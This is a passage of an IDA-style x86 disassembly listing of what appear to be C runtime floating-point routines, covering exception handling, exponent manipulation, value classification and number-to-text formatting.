		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C870
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs


loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43C860
		jmp	short loc_421426
; ---------------------------------------------------------------------------


loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43C870
		fchs


loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43C870
		jmp	short loc_42144E
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43C860
		fchs


loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C860
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs


loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]


loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx


loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------


loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx


loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx


loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx


loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h


loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F


loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------


loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx


loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx


loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh


loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx


loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB278, 22h
		retn
; ---------------------------------------------------------------------------


loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB278, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43C788


loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43C860
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43C78C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3


loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707


loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4


loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------


loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A


loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax


loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1


loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h


loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------


loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43C888
		fistp	[ebp+arg_0]
		wait


loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43C888
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43C894
		fstp	[ebp+var_8]
		wait


loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 268056Eh
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26A0000h
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------


loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B


loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------


loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF


loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43C508
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43C508
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951


loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945


loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982


loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------


loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax


loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax


loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43C8B0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB310, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB30C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------


loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h


loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43C508
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB310, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h


loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl


loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB310, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB314
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB30C
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------


loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h


loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax


loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43C508
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB310, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------


loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
